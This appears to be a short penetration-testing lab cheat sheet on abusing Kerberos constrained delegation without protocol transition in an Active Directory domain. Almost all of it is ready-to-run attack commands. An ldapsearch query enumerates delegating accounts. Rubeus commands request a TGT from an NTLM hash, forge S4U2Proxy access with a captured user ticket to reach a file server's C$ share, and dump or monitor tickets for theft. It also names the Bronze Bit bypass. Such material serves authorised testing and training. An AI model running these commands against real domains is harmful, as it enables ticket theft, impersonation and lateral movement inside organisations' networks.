Constrained delegation without protocol transition does not let us freely pick a user. S4U2Self returns a non-forwardable ticket, so S4U2Proxy fails unless we already have a real user service ticket to the front-end service.
Enumerate accounts without protocol transition
ldapsearch -LLL -x -H ldap://10.10.10.200 -D "ootw.local\\student" -w 'student' -b "DC=ootw,DC=local" '(&(msDS-AllowedToDelegateTo=*)(!(userAccountControl:1.2.840.113556.1.4.803:=16777216)))' sAMAccountName msDS-AllowedToDelegateTo userAccountControl
Control the delegating account
Rubeus.exe asktgt /user:svc_delegate /rc4:<NTLM_HASH> /domain:ootw.local /dc:10.10.10.200 /nowrap
Use a captured front-end TGS
Rubeus.exe s4u /user:svc_delegate /msdsspn:cifs/fileserver.ootw.local /ticket:<DELEGATING_ACCOUNT_TGT_BASE64> /tgs:<CAPTURED_USER_TGS_BASE64> /ptt
klist
dir \\fileserver.ootw.local\c$
Ticket source examples
Rubeus.exe dump /service:http /nowrap
Rubeus.exe monitor /interval:5 /nowrap
Notes
This path is more limited than protocol transition. We do not get arbitrary user impersonation. We can only proxy users whose service tickets to the front-end service are available.
Bronze Bit targeted this limitation by flipping the forwardable flag, but modern patched environments should not rely on that bug being present.